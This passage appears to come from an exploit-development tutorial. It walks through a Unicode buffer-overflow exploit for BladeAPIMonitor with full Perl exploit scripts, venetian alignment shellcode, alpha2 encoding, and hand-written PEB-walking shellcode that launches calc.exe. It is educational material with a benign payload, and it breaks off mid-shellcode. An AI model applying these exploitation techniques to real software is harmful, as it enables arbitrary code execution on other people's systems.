\#\!/usr/bin/perl my $junk1 = "A" x 290; my $eip = "\x3e\x43"; my $junk2 = "B"
x 20; my $sploit = $junk1.$eip.$junk2; my $fill = "\xcc" x \(2000 -
length\($sploit\)\); my $buffer = $sploit.$fill; \# write the exploit buffer
to file my $file = "bladeapi.txt"; open\(FILE, ">$file"\); print FILE $buffer;
close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer
size: " . length\($buffer\) . "\n";

123456789101112131415 | \#\!/usr/bin/perlmy $junk1 = "A" x 290;my $eip = "\x3e\x43";my $junk2 = "B" x 20;my $sploit = $junk1.$eip.$junk2;my $fill = "\xcc" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Of course, our ultimate goal is to execute our shellcode, but in order to do
that we have to write some additional instructions that will:

  1. Put the address from EBX in EAX
  2. Adjust the address in EAX to point to our shellcode \(which is 290 bytes before our EIP overwrite\)
  3. “Jump” to EAX to redirect execution to our shellcode.

#### Moving EBX into EAX

Remember earlier when I said that the alphanumeric encoders we’re going to be
using to make our shellcode “unicode-compatible” require a designated register
for the decoding routine? We’re going to use EAX as our designated register
which means we must get EAX to point to our shellcode. Since we know EBX
points to our buffer, the first step is to move the address in EBX into EAX.
We would normally just need to execute a push EBX \(\x53\) and a pop EAX
\(\x58\) instruction. But take a look what happens if we try this here:

<img src='img/Temp2_9747.png' width='640' height='145' alt='win_exploit_7_13'
/>

The push EBX instruction executes just fine but because the application
converts our buffer to Unicode, the added nulls change our instructions and we
don’t get the results we expected. All we have to do to overcome this problem
is insert some additional instructions, that when combined with the added
Unicode nulls, perform a benign action and align our other instructions so
they execute as expected. So, instead of “\x53\x58“, we can do the following:

"\x53" \# push ebx "\x42" \# this will turn into 004200 which translates to
add byte ptr ds:\[edx\],al "\x58" \# pop eax; "\x42" \# this will turn into
004200 which translates to add byte ptr ds:\[edx\],al

1234 | "\x53" \# push ebx"\x42" \# this will turn into 004200 which translates to add byte ptr ds:\[edx\],al"\x58" \# pop eax; "\x42" \# this will turn into 004200 which translates to add byte ptr ds:\[edx\],al  
---|---  
As you can see, we’ve inserted two additional one-byte instructions that, when
combined with the nulls that the Unicode conversion automatically adds, will
execute something benign — in this case adding al to \[edx\]. This use of
these alternating padding instructions has come to be known as “Venetian
shellcode”.

The Unicode buffer can be imagined to be somewhat similar to a Venetian

blind; there are “solid” bytes that we control, and “gaps” containing the

alternating zeroes.

– Chris Anley Creating Arbitrary Shellcode In Unicode Expanded Strings \(Jan
8, 2002\); http://www.net-security.org/dl/articles/unicodebo.pdf

One thing to keep in mind here is that although these benign venetian
shellcode instructions won’t be doing anything other aligning/padding our
exploit instructions, they must still execute successfully. In our example, if
\[edx\] pointed to an invalid location, any attempt to add a value to it would
result in an exception and our exploit would fail. As a result, \x42 may not
always work for every exploit and you’d have to find an instruction that
targets a different register. No worries though, because there are plenty of
other instructions to choose from as you can see below:

<img src='img/Temp2_9762.png' width='640' height='345' alt='win_exploit_7_14'
/>

Let’s add our venetian padding to our exploit code and see how it works.
Here’s our updated exploit:

\#\!/usr/bin/perl my $junk1 = "A" x 290; my $eip = "\x3e\x43"; my $junk2 = "B"
x 20; my $venalign = "\x53"; \# push ebx; ebx is the register closest to our
shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign =
$venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to
our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align my $sploit
= $junk1.$eip.$junk2.$venalign; my $fill = "\xcc" x \(2000 -
length\($sploit\)\); my $buffer = $sploit.$fill; \# write the exploit buffer
to file my $file = "bladeapi.txt"; open\(FILE, ">$file"\); print FILE $buffer;
close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer
size: " . length\($buffer\) . "\n";

123456789101112131415161718192021 | \#\!/usr/bin/perlmy $junk1 = "A" x 290;my $eip = "\x3e\x43";my $junk2 = "B" x 20; my $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode  $venalign = $venalign . "\x42"; \# venetian pad/align my $sploit = $junk1.$eip.$junk2.$venalign;my $fill = "\xcc" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
And the result…

<img src='img/Temp2_9728.png' width='640' height='81' alt='win_exploit_7_15'
/>

That worked. The addition of the venetian shellcode aligned our PUSH and POP
instructions and now EAX holds the same address as EBX.

#### Getting EAX to point to our shellcode

The next step is to adjust EAX so it points to the beginning of our shellcode.
We know we’re going to put our shellcode at the beginning of our buffer so we
just need to calculate how far our current location is from the beginning of
our buffer and subtract that value from EAX.

290 + 2 + 20 + 4 = 316 \($junk1 \+ $eip \+ $junk2 \+ $venalign\)

We have to account for the null byte that is added to each inserted
instruction which means we have to double our value to 624. So we need to
subtract a total of 624d bytes from EAX. You can verify this by checking the
addresses in the dump window:

<img src='img/Temp2_9748.png' width='420' height='379' alt='win_exploit_7_16'
/>

Here’s the trick that will allows us to perform this subtraction this in a
Unicode friendly manner:

First we’ll subtract 0x11001800 and then we’ll add 0x11001600. This gives a
net subtraction of 200h or 512 decimal.

Those two instructions will look like this \(note the absence of the \x00
bytes which will be added by the Unicode conversion\):

"\x2d\x18\x11" \# sub eax,0x11001800; subtract from address in eax
"\x05\x16\x11" \# add eax,0x11001600; add to address in eax; net = -200h
\(512d\)

12 | "\x2d\x18\x11" \# sub eax,0x11001800; subtract from address in eax"\x05\x16\x11" \# add eax,0x11001600; add to address in eax; net = -200h \(512d\)  
---|---  
As you can see this approach only works for whole numbers in increments of 100
hex. That means we’ll have to figure out another way to subtract the remaining
112d bytes. We have a couple of options. The simplest is merely to decrement
EAX 112 times \(sub eax = \x48\). The drawback here is that with the addition
of a Venetian shellcode alignment instruction for each sub instruction, this
will eat up 224 bytes of our available buffer \(“\x48\x42″ x 112\). For this
demo that’s not a problem but in a real-world exploit, every byte may be a
precious commodity.

We can get a bit more creative here. Let’s assume that our current EAX after
subtracting 200h is 0x0089EBEC and our shellcode starts at 0x0089EB7C. We’ve
already established that we still need to subtract 0x70 or 112d to get EAX to
point to that address, but what if we instead added 0x90 to al? That would be
EC \+ 90 = 7C. Since this addition doesn’t affect the remaining bytes of EAX,
that would give us our desired address of 0x0089eb7c. But how do we add 0x90
to AL? Look at our registers:

<img src='img/Temp2_9721.png' width='398' height='160' alt='win_exploit_7_27'
/>

We can see that both ECX and EBP contain characters currently part of the
$junk1 portion of our buffer. We know that we’re going to use a portion of
these 290 bytes for our shellcode, and we can’t sacrifice much, but if we luck
out and these registers contain bytes from the tail end of this 290 byte
portion of our buffer, we might be able to use them. We can probably spare no
more than 10 bytes of our shellcode space so let’s by splitting our $junk1
buffer into 280 “A”s and 10 NOPs \(\x90\).

<img src='img/Temp2_9756.png' width='385' height='150' alt='win_exploit_7_28'
/>

Awesome. Now that we control the value in ECX, specifically the lower bytes
\(CL\) , we can use the following instruction to get EAX where we want it to
be: “\x00\xc8″; \# add al,cl

That will add our current value in al \(EC\) and cl \(0x90\) and get us our
desired value of 7C. To add this to our exploit we need to do a bit of
adjusting as follows:

\#\!/usr/bin/perl my $junk1 = "\xcc" x 280; $junk1 = $junk1 . "\x90" x 10; my
$eip = "\x3e\x43"; my $junk2 = "B" x 20; my $venalign = "\x53"; \# push ebx;
ebx is the register closest to our shellcode $venalign = $venalign . "\x42";
\# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into
eax & modify address to jump to our shellcode $venalign = $venalign . "\x42";
\# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub
eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42";
\# venetian pad/align $venalign = $venalign . "\x05\x16\x11"; \# add
eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign =
$venalign . "\x42"; \# venetian pad/align $venalign = $venalign .
"\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of
next one $venalign = $venalign . "\xc8"; \# add al,cl; gets us the address in
EAX that points to our shellcode $venalign = $venalign . "\x42"; \# venetian
pad/align my $sploit = $junk1.$eip.$junk2.$venalign; my $fill = "\xcc" x
\(2000 - length\($sploit\)\); my $buffer = $sploit.$fill; \# write the exploit
buffer to file my $file = "bladeapi.txt"; open\(FILE, ">$file"\); print FILE
$buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n";
print "Buffer size: " . length\($buffer\) . "\n";

1234567891011121314151617181920212223242526272829 | \#\!/usr/bin/perlmy $junk1 = "\xcc" x 280;$junk1 = $junk1 . "\x90" x 10;my $eip = "\x3e\x43";my $junk2 = "B" x 20; my $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode  $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42"; \# venetian pad/align  $venalign = $venalign . "\x05\x16\x11"; \# add eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of next one $venalign = $venalign . "\xc8"; \# add al,cl; gets us the address in EAX that points to our shellcode  $venalign = $venalign . "\x42"; \# venetian pad/align my $sploit = $junk1.$eip.$junk2.$venalign;my $fill = "\xcc" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Notice the the bogus instruction I added before add al,cl. This instruction
actually translates to the following opcode after Unicode translation: BF
00110011. The Unicode translation will add an additional \x00 to the end which
will actually be tacked on to the beginning of our next instruction, giving us
\x00\xc8 which translates to add al, cl.

By using this approach, we saved quite a bit of space in our buffer \(216
bytes\) that would have been devoted to decrementing EAX. You may have also
noticed I changed the As at the beginning of the buffer to INT instructions
\(\xcc\), which will be used to test our “jump” to EAX shortly.

#### “Jumping” to EAX

Now that we have EAX where we want it, we need to add some instructions that
redirect execution to EAX. Unfortunately, we can’t use JMP EAX \( \xff\xe0\)
or CALL EAX \(\xff\d0\) because each are two byte instructions that will be
clobbered by the null bytes of the Unicode translation.

As an alternative, we can push EAX to the stack and issue a RET instruction.
I’ve updated the exploit code to include this:

\#\!/usr/bin/perl my $shell = "\xcc" x 280; my $junk1 = "\x90" x \(290 - length\($shell\)\); \# pad offset to EIP and use \x90 to adjust EAX my $eip = "\x3e\x43"; \# call ebx 0x0043003e | unicode ASLR: False, Rebase: False, SafeSEH: False \[BladeAPIMonitor.exe\] my $junk2 = "\x42" x 20; \# offset to venalign at EBX my $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x05\x16\x11"; \# add eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of next one $venalign = $venalign . "\xc8"; \# add al,cl; we are using the \x90 in CL from our $junk $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret \(to eax = start of shellcode\) my $sploit = $shell.$junk1.$eip.$junk2.$venalign; my $fill = "\xcc" x \(2000 - length\($sploit\)\); my $buffer = $sploit.$fill; \# write the exploit buffer to file my $file = "bladeapi.txt"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
1234567891011121314151617181920212223242526272829303132 | \#\!/usr/bin/perlmy $shell = "\xcc" x 280;my $junk1 = "\x90" x \(290 - length\($shell\)\); \# pad offset to EIP and use \x90 to adjust EAXmy $eip = "\x3e\x43"; \# call ebx 0x0043003e | unicode ASLR: False, Rebase: False, SafeSEH: False \[BladeAPIMonitor.exe\]my $junk2 = "\x42" x 20; \# offset to venalign at EBX my $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode  $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42"; \# venetian pad/align  $venalign = $venalign . "\x05\x16\x11"; \# add eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of next one $venalign = $venalign . "\xc8"; \# add al,cl; we are using the \x90 in CL from our $junk  $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret \(to eax = start of shellcode\) my $sploit = $shell.$junk1.$eip.$junk2.$venalign;my $fill = "\xcc" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Testing it out, we get the following successful result:

<img src='img/Temp2_9743.png' width='640' height='441' alt='win_exploit_7_29'
/>

Now that we’ve successfully redirected program execution to the beginning of
our buffer, all that’s left is to write our shellcode …

#### The Shellcode

It should be no surprise by now that we’re going to have to account for the
null byte that will be injected after each byte of our shellcode. There’s a
couple of ways to address this, one of which is to encode it. For this demo,
we’re going to use the alpha2 encoder.

root@kali:~/softwarez/alpha2\# ./alpha2 --help Usage: ./alpha2 \[OPTION\]
\[BASEADDRESS\] ALPHA 2 encodes your IA-32 shellcode to contain only
alphanumeric characters. The result can optionaly be uppercase-only and/or
unicode proof. It is a encoded version of your origional shellcode. It
consists of baseaddress-code with some padding, a decoder routine and the
encoded origional shellcode. This will work for any target OS. The resulting
shellcode needs to have RWE-access to modify it's own code and decode the
origional shellcode in memory. BASEADDRESS The decoder routine needs have it's
baseaddress in specified register\(s\). The baseaddress-code copies the
baseaddress from the given register or stack location into the apropriate
registers. eax, ecx, edx, ecx, esp, ebp, esi, edi Take the baseaddress from
the given register. \(Unicode baseaddress code using esp will overwrite the
byte of memory pointed to by ebp\!\) \[esp\], \[esp-X\], \[esp+X\] Take the
baseaddress from the stack. seh The windows "Structured Exception Handler"
\(seh\) can be used to calculate the baseaddress automatically on win32
systems. This option is not available for unicode-proof shellcodes and the
uppercase version isn't 100% reliable. ... \--unicode Make shellcode unicode-
proof. This means it will only work when it gets converted to unicode
\(inserting a '0' after each byte\) before it gets executed. ...

1234567891011121314151617181920212223242526272829303132 | root@kali:~/softwarez/alpha2\# ./alpha2 --help Usage: ./alpha2 \[OPTION\] \[BASEADDRESS\]ALPHA 2 encodes your IA-32 shellcode to contain only alphanumeric characters.The result can optionaly be uppercase-only and/or unicode proof. It is a encodedversion of your origional shellcode. It consists of baseaddress-code with somepadding, a decoder routine and the encoded origional shellcode. This will workfor any target OS. The resulting shellcode needs to have RWE-access to modifyit's own code and decode the origional shellcode in memory. BASEADDRESS The decoder routine needs have it's baseaddress in specified register\(s\). The baseaddress-code copies the baseaddress from the given register or stack location into the apropriate registers.eax, ecx, edx, ecx, esp, ebp, esi, edi Take the baseaddress from the given register. \(Unicode baseaddress code using esp will overwrite the byte of memory pointed to by ebp\!\)\[esp\], \[esp-X\], \[esp+X\] Take the baseaddress from the stack.seh The windows "Structured Exception Handler" \(seh\) can be used to calculate the baseaddress automatically on win32 systems. This option is not available for unicode-proof shellcodes and the uppercase version isn't 100% reliable. ... \--unicode Make shellcode unicode-proof. This means it will only work when it gets converted to unicode \(inserting a '0' after each byte\) before it gets executed. ...  
---|---  
The output will be a unicode-friendly, alphanumeric version of our shellcode
like this:

PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhA…

Alpha2 prepends a decoding routine to the shellcode to convert it back to its
original form. Both the unicode-friendly encoding as well as the prepended
decoder will take up space that we would normally have available for shellcode
instructions in a non-unicode exploit so we’ll have to account for this in our
relatively small buffer space. One important thing to note about Alpha2 is
that it decodes the shellcode _in place_ in memory, which means it must be
written to a location with R/W/E privileges.

Note that there are other encoding tools besides alpha2. I’ll use Metasploit
in the next real-world exploit example, but if you want an example of at least
one more, you can check out the Corelan Unicode exploit post here.

Since we have to allocate room for the encoding overhead and the prepended
decoding routine added by alpha2, we’re going to need to keep our pre-encoded
shellcode under 80 bytes — that’s not a lot. In fact, an alpha-encoded out-of-
the-box Metasploit calc.exe shellcode is over twice that in length. While I
planned on waiting to cover shellcode writing for a later post, given the
constraints of this exploit, it’s probably best that we just write our own.

Let’s start by outlining the objectives of our shellcode. Here are the four
I’ve defined for this example

  1. Keep it under 80 bytes in length
  2. Launch calc.exe
  3. Ensure a clean exit from the vulnerable application
  4. Work on Windows XP SP3 and Windows 7 SP1

Let’s cover each of these in a bit more detail:

**Objective 1: Keep it under 80 bytes**

To work within our space constraints and encoding requirements we need to keep
this shellcode under 80 bytes. This will limit some of our functionality and
portability so we need to keep it in mind as we consider the remaining
objectives.

**Objective 2: Launch calc.exe**

Keeping in line with previous examples, let’s make the purpose of this
shellcode simple — to launch calc.exe. We can do this by calling the
WinExec\(\) function found in Kernel32.dll. Here is the function prototype
from MSDN:

UINT WINAPI WinExec\( \_In\_ LPCSTR lpCmdLine, \_In\_ UINT uCmdShow \);

1234 | UINT WINAPI WinExec\( \_In\_ LPCSTR lpCmdLine, \_In\_ UINT uCmdShow\);  
---|---  
It’s pretty simple, requiring only two parameters — the command we plan to
call \(in our case “calc”\) and the display options of the resulting window
\(we’ll use 0\). Although we know which DLL contains this function, we won’t
necessarily know the address at which it’s loaded for a given machine, an
issue we’ll tackle when we cover objective 4.

**Objective 3: Ensure a clean exit from the vulnerable application**

Our next objective will be a clean exit from the crashed application. For
illustrative purposes, try the original exploit posted to Exploit-DB on a
Windows 7 machine \(the buffer string can be copied from the bottom of the
exploit code\).

<img src='img/Temp2_9751.png' width='640' height='50' alt='win_exploit_7_31'
/>

In most cases, although calc.exe successfully launches, the BladeAPIMonitor
application crashes and generates an exception prompt instead of exiting
cleanly.

<img src='img/Temp2_9758.png' width='640' height='233' alt='win_exploit_7_30'
/>

For this demo it doesn’t really matter, but if a real-world exploit requires
persistence beyond the life of the parent process, an unclean exit could be
problematic. Preventing such a crash will take up some of our limited
shellcode space, but we should be able to make it work. To do so, we’ll use
the ExitProcess\(\) function, also found in Kernel32.dll.

VOID WINAPI ExitProcess\( \_In\_ UINT uExitCode \);

123 | VOID WINAPI ExitProcess\( \_In\_ UINT uExitCode\);  
---|---  
Once again, the function parameters are really simple, requiring us only to
pass an exit code \(for which we’ll use 0\).

**Objective 4: Work on Windows XP SP3 and Windows 7 SP1**

While the goal of most shellcode should be to make it as universal as
possible, we’re pretty limited by our space requirements. I didn’t want to go
the other extreme and only have this work on a single platform, so I chose the
middle ground and made our objective to execute successfully on both Windows
XP SP3 and Windows 7 SP 1. Getting this to work on non-ASLR Windows XP is a
bit easier because we could technically hard-code the addresses of our
functions and have this work fairly reliably. This approach wouldn’t work on
Windows 7 as ASLR changes the base load address of the DLLs each time. Ideally
we wouldn’t hard-code any addresses and instead use a Windows function such as
GetProcAddress\(\) to dynamically determine the addresses of our functions at
run time, but given our space constraints and the fact that this is a tutorial
on Unicode exploits \(and not shellcode writing\) I chose the middle ground —
we’ll determine the base address of the DLL\(s\) we plan to use, but hard-code
the offsets to the functions. This will work because although ASLR will change
the base address for each module, the offsets to the functions within the DLL
will remain static across run times. That being said, Microsoft can and does
change the DLLs, and in doing so, changes the offsets. The fact that we’re
only going to use Kernel32.dll for this example means that these offsets
should apply to the latest releases of Windows XP SP3 and Windows 7 SP 1, but
if Microsoft releases a major update/SP for Windows 7, it may not longer
function. Again, not universal, but certainly better than hardcoding the DLL
base address.

Now that we’ve defined our objectives, let’s get to work…

For this example we’re going to write our shellcode in Assembly. When it comes
to writing the Assembly you have several options. You can write it directly in
a C program using the \_\_asm keyword and compile with Visual Studio.

\# include <windows.h> \# include <stdio.h> int main \(\) \{ \_\_asm \{ xor
ebx, ebx mov ebx, 0x1 ... etc ... \} return 0; \}

12345678910111213 | \# include <windows.h>\# include <stdio.h> int main \(\) \{ \_\_asm \{ xor ebx, ebx  mov ebx, 0x1 ... etc ... \} return 0;\}  
---|---  
You can then disassemble the resulting compiled binary to get your opcodes or
you can load it into a debugger like Immunity and copy the opcodes directly
from there.

<img src='img/Temp2_9736.png' width='476' height='36' alt='win_exploit_7_32'
/>

To incorporate them into an exploit script, you can then convert them to hex:
\x33\xdb\xbb\x01\x00\x00\x00…

Another option is to write your shellcode in a text editor, save it as an .asm
file and assemble it using an assembler such as NASM.

<img src='img/Temp2_9754.png' width='393' height='98' alt='win_exploit_7_33'
/>

If you’re already comfortable with Assembly enough to know the most of the
opcodes, yet another option would be to write your hex opcodes directly in a
Perl script. Sometimes, if I need to encode the shellcode, I’ll use a simple
script such as this one:

\#\!/usr/bin/perl \# shellcode\_writer.pl -- write shellcode to binary file
for encoding \# shellcode my $shellcode = "\x41\x42\x43..."; \# write the
shellcode to file my $file = "shell.bin"; open\(FILE, ">$file"\); print FILE
$shellcode; close\(FILE\); print "Shellcode file \[" . $file . "\] created\n";
print "Shellcode size: " . length\($shellcode\) . "\n";

12345678910111213 | \#\!/usr/bin/perl\# shellcode\_writer.pl -- write shellcode to binary file for encoding \# shellcodemy $shellcode = "\x41\x42\x43..."; \# write the shellcode to filemy $file = "shell.bin";open\(FILE, ">$file"\);print FILE $shellcode;close\(FILE\);print "Shellcode file \[" . $file . "\] created\n";print "Shellcode size: " . length\($shellcode\) . "\n";  
---|---  
You can also use a command line tool like metasm to generate your opcode for
any Assembly instructions you may not be sure of.

<img src='img/Temp2_9750.png' width='221' height='83' alt='win_exploit_7_34'
/>

When it comes to choosing a “best” way, it really is a matter of preference.
Sometimes, if I’m building in a Windows environment, I’ll go with C. Other
times, I find myself generating the bulk of my shellcode in an Assembler,
moving it to my exploit script and modifying/adding one-off instructions
directly in my script using metasm. For this example, I’ll build the entire
shellcode in an .asm file, assemble it, and encode it before incorporating it
into our Perl exploit script.

Let’s get to it…

As we’ve already discussed, we will be using two functions from Kernel32.dll
to meet objectives 2 and 3 \(execute calc.exe and exit cleanly\). To do so, we
need to obtain the base address of that module. In order to also meet
objective 4 \(working in Win XP SP 3 and Win 7 SP 1\), we need to be able to
get this address dynamically at run time. There are several ways to do this,
but the method we’re going to use is a more universal one that is described
here. We’ll need to access the Process Environment Block \(PEB\), an opaque
\(partially documented\) Windows structure that we touched on in Part 1 of
this exploit series. It contains multiple process-specific data structures,
one of which is useful to us for finding our DLL address. Specifically, the
PEB\_LDR\_DATA structure \(found at offset 0x0C of the PEB\) contains an entry
called InMemoryOrderModuleList, which is a doubly-linked list that contains
all of the loaded modules for the process. What’s great about Kernel32.dll is
that it’s always located at the third entry of this list so we know exactly
where to find it. While we’re parsing the PEB, the other thing we’re going to
want is the value of OSMajorVersion, which is located at offset 0xA4. We’ll
need this value when we need to choose the appropriate offset to our Kernel32
functions depending on our target OS \(XP vs 7\). Here’s the first portion of
our shellcode that gathers these two pieces of information for us.

\[BITS 32\] ;\[get kernel32 address\] xor ebx, ebx ;clear ebx mov ebx,
\[fs:0x30\] ;get pointer to PEB mov ecx, \[ebx+0xA4\] ;get OSMajorVersion mov
ebx, \[ebx+0x0C\] ;get PEB->Ldr mov ebx, \[ebx+0x14\] ;get
PEB->Ldr->InMemoryOrderModuleList.Flink \(1st entry\) mov ebx, \[ebx\] ;get
2nd entry mov ebx, \[ebx\] ;get 3rd entry mov ebx, \[ebx+0x10\] ;get base
address of 3rd entry = kernel32.dll

12345678910 | \[BITS 32\];\[get kernel32 address\]xor ebx, ebx ;clear ebxmov ebx, \[fs:0x30\] ;get pointer to PEBmov ecx, \[ebx+0xA4\] ;get OSMajorVersionmov ebx, \[ebx+0x0C\] ;get PEB->Ldrmov ebx, \[ebx+0x14\] ;get PEB->Ldr->InMemoryOrderModuleList.Flink \(1st entry\)mov ebx, \[ebx\] ;get 2nd entry mov ebx, \[ebx\] ;get 3rd entry mov ebx, \[ebx+0x10\] ;get base address of 3rd entry = kernel32.dll  
---|---  
Once these instructions have executed, ECX will contain OSMajorVersion and EBX
will contain the base address of kernel32.dll.

Before we can call WinExec\(\), we need to push our parameters to the stack.
Recall the function prototype:

UINT WINAPI WinExec\( \_In\_ LPCSTR lpCmdLine, \_In\_ UINT uCmdShow \);

1234 | UINT WINAPI WinExec\( \_In\_ LPCSTR lpCmdLine, \_In\_ UINT uCmdShow\);  
---|---  
With a stdcall calling convention we need to push the parameters to the stack
in reverse \(right-to-left\) order. That means we must first push the uCmdShow
parameter which will be 0. Then we’ll push the lpCmdLine parameter which will
be the null-terminated string “calc“. Here’s how I accomplish this:

;\[push the winexec calc params\] xor esi,esi ;zero register for param use
push esi ;null terminator for "calc" push dword "calc" ;"calc" mov eax,esp
;pointer to calc push esi ;param 1 = 0 push eax ;param 2 = "calc"

1234567 | ;\[push the winexec calc params\]xor esi,esi ;zero register for param usepush esi ;null terminator for "calc"push dword "calc" ;"calc"mov eax,esp ;pointer to calcpush esi ;param 1 = 0push eax ;param 2 = "calc"  
---|---  
You’ll notice that I use 0 \(zero\) twice — once as the string terminator and
again as the parameter to WinExec\(\). To do so, I chose to zero out a
register \(ESI\) and push it to the stack twice. I could have just as easily
used the push 0 instruction which would have also equated to a total of four
bytes. In this case, it’s really just a matter of preference. However, if you
needed to use a zero value more than twice, it would be more economical to use
the one-byte push esi instruction vs the two-byte push 0 instruction. One more
thing to note is that in order to get the pointer to the null-terminated
“calc” string, I pushed the string to the stack, then moved the address of the
stack pointer to EAX, before pushing that value as the parameter.

Although the parameters for WinExec\(\) are pushed to the stack, we’re not
quite ready to call the function…mainly because we don’t have the address to
the function yet. While we do have the base address to Kernel32, we don’t yet
have the offsets from this address where WinExec\(\) and ExitProcess\(\) are
located. We can get these offsets by using the dumpbin.exe utility to list the
DLL’s exported functions. Here’s the output from both Windows XP SP3 and
Windows 7 SP1:

Windows XP SP 3 C:\\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "winexec" 900 383 000623AD WinExec C:\\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "exitprocess" 183 B6 0001CAFA ExitProcess Windows 7 SP 1 C:\\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "winexec" 1304 517 0008F22E WinExec C:\\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "exitprocess" 284 11A 0005BC9A ExitProcess
12345678910111213 | Windows XP SP 3C:\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "winexec" 900 383 000623AD WinExec C:\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "exitprocess" 183 B6 0001CAFA ExitProcess Windows 7 SP 1C:\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "winexec" 1304 517 0008F22E WinExec C:\..\VC\bin>dumpbin.exe /EXPORTS c:\WINDOWS\system32\kernel32.dll | find /i "exitprocess" 284 11A 0005BC9A ExitProcess  
---|---  
The third column of the output is the offset we’re looking for. We can use
this along with the base address for kernel32.dll to generate the address of
each function. Note that if you’re using any other version of Windows, you’ll
get different offset values. If you want to test this exploit on that version,
replace my offsets with those later on when we write them into our shellcode.

Ok, so we have the addresses to both of our functions for each OS. But how do
we know which one to call from our shellcode? The answer lies in checking the
OSMajorVersion value we grabbed earlier. Technically, this value alone is not
enough to tell you which specific OS version is running. Normally you would
also want to grab the OSMinorVersion value, as the two together represent the
OS version. However, we’re making some significant assumptions, specifically
that we’re either dealing with Windows 7 or Windows XP. Since they each have
different OSMajorVersion values \(6 vs. 5, respectively\), that value alone
will be all that we need. Just keep in mind that if this exploit is run on any
version in between \(Server 2008, Vista, Server 2003, etc\), it will probably
fail.

;\[check windows version\] cmp cl, 5 ;check OS version je WinXP ;jump to winxp
params

123 | ;\[check windows version\]cmp cl, 5 ;check OS versionje WinXP ;jump to winxp params  
---|---  
As you can see, if the OSMajorVersion = 5, we jump to a label “WinXP“, which
we’ll get to in a minute. Otherwise, we’re going to proceed to the next
section, which is Windows 7-specific.

Win7: lea edi,\[ebx+0x5bc9a\] ;win 7 kernel32.exitprocess\(\) lea
